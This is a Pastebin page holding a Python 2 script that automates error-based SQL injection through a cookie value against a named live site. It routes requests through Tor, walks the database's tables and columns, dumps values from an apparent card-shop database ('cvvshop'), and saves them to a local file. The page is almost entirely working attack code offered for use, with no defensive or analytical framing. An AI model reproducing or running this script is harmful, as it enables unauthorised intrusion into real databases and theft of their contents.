Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests
- import re
- file = open("ccdb.txt", "w")
- run = True
- increment = 0
- tables = []
- columns = []
- values = {}
- proxies = {
- "http": "http://127.0.0.1:9050",
- "https": "https://127.0.0.1:9050",
- }
- print "[+] Starting scanning..."
- while run == True:
- if 1:
- payload = "' and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit " + str(increment) + ",1),floor(rand(0)*2))x from information_schema.tables group by x)a)--%20"
- cookies = {'cookname':payload, 'cookpass':' '}
- headers = {'Referer': 'Referer: http://bigbase.su/'}
- try:
- r = requests.post("http://bigbase.su/", params="postcode", headers=headers, cookies=cookies, proxies=proxies)
- except Exception:
- get = True
- print "[-] Failed to make request, trying again."
- while get == True:
- try:
- r = requests.post("http://bigbase.su/", params="postcode", headers=headers, cookies=cookies, proxies=proxies)
- get = False
- except Exception:
- get = True
- print "[-] Failed to make request, trying again."
- if increment == 0:
- print "[+] Scanning started!"
- if "MySQL Error" in r.text:
- """match = re.search(".*<tr><td align=\"right\" valign=\"top\" nowrap=\"\">MySQL Error:<\/td><td>Duplicate entry \'(.*)~1\' for key \'group_key\'<\/td><\/tr>.*", r.text)
- print match.group(0)"""
- try:
- regex = re.compile("Duplicate entry '(.*?)~1' for key 'group_key'")
- r = regex.search(r.text)
- if not r.groups()[0] == "":
- tables.append(r.groups()[0])
- print "[+] Table found: " + r.groups()[0]
- file.write("[+] Table found: " + r.groups()[0] + "\n")
- else:
- print "[-] Error %s" % r.groups()
- increment = increment + 1
- except Exception:
- print "[-] Could not get table for index " + str(increment) + ". Please do manually."
- file.write("[-] Could not get table for index " + str(increment) + ". Please do manually.")
- increment = increment + 1
- else:
- run = False
- increment = 0
- if len(tables) > 0:
- print "[+] Found %s tables" % str(len(tables))
- print "[+] Starting to get column count..."
- for i in tables:
- run = True
- tablehexed = str(i)
- tablehexed = tablehexed.encode('hex')
- while run == True:
- if 1:
- payload = "' and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x" + str(tablehexed) + " limit " + str(increment) + ",1),floor(rand(0)*2))x from information_schema.tables group by x)a)--%20"
- cookies = {'cookname':payload, 'cookpass':''}
- headers = {'Referer': 'Referer: http://bigbase.su/'}
- try:
- r = requests.post("http://bigbase.su/", params="postcode", headers=headers, cookies=cookies, proxies=proxies)
- except Exception:
- get = True
- print "[-] Failed to make request, trying again."
- while get == True:
- try:
- r = requests.post("http://bigbase.su/", params="postcode", headers=headers, cookies=cookies, proxies=proxies)
- get = False
- except Exception:
- get = True
- print "[-] Failed to make request, trying again."
- if "MySQL Error" in r.text:
- try:
- regex = re.compile("Duplicate entry '(.*?)~1' for key 'group_key'")
- r = regex.search(r.text)
- if not r.groups()[0] == "":
- columns.append((i, r.groups()[0]))
- print "[+] Column found: " + r.groups()[0] + " in table " + i
- file.write("[+] Column found: " + r.groups()[0] + " in table " + i + "\n")
- else:
- print "[-] Error %s" % match
- increment = increment + 1
- except Exception:
- print "[-] Could not get column for index " + str(increment) + ". Please do manually."
- file.write("[-] Could not get column for index " + str(increment) + ". Please do manually.")
- increment = increment + 1
- else:
- print "[+] Found %s columns in the table %s" % (increment, i)
- run = False
- increment = 0
- if len(columns) > 0:
- for tab, col in columns:
- run = True
- while run == True:
- if 1:
- payload = "' and (select 1 from (select count(*),concat((select(select concat(cast(concat(" + str(col) + ",0x7e) as char),0x7e)) from u8614963_cvvshop." + str(tab) + " limit " + str(increment) + ",1),floor(rand(0)*2))x from information_schema.tables group by x)a)--%20"
- cookies = {'cookname':payload, 'cookpass':''}
- headers = {'Referer': 'Referer: http://bigbase.su/'}
- try:
- r = requests.post("http://bigbase.su/", params="postcode", headers=headers, cookies=cookies, proxies=proxies)
- except Exception:
- get = True
- print "[-] Failed to make request, trying again."
- while get == True:
- try:
- r = requests.post("http://bigbase.su/", params="postcode", headers=headers, cookies=cookies, proxies=proxies)
- get = False
- except Exception:
- get = True
- print "[-] Failed to make request, trying again."
- if "MySQL Error" in r.text:
- regex = re.compile("Duplicate entry '(.*?)~~1' for key 'group_key'")
- r = regex.search(r.text)
- try:
- if not r.groups()[0] == "":
- values[tab] = {col:{increment:r.groups()[0]}}
- print "[+] Value found: " + r.groups()[0] + " in column " + col + " in table " + tab + " at index " + str(increment)
- file.write("[+] Value found: " + r.groups()[0] + " in column " + col + " in table " + tab + " at index " + str(increment) + "\n")
- else:
- print "[-] Error %s" % match
- increment = increment + 1
- except Exception:
- print "[-] Could not get value for index " + str(increment) + ". Please do manually."
- file.write("[-] Could not get value for index " + str(increment) + ". Please do manually.")
- increment = increment + 1
- else:
- run = False
- increment = 0
- print "[+] Done scanning"
- else:
- print "[-] Found no tables, scan quit"
- print values
Advertisement
Add Comment
Please, Sign In to add comment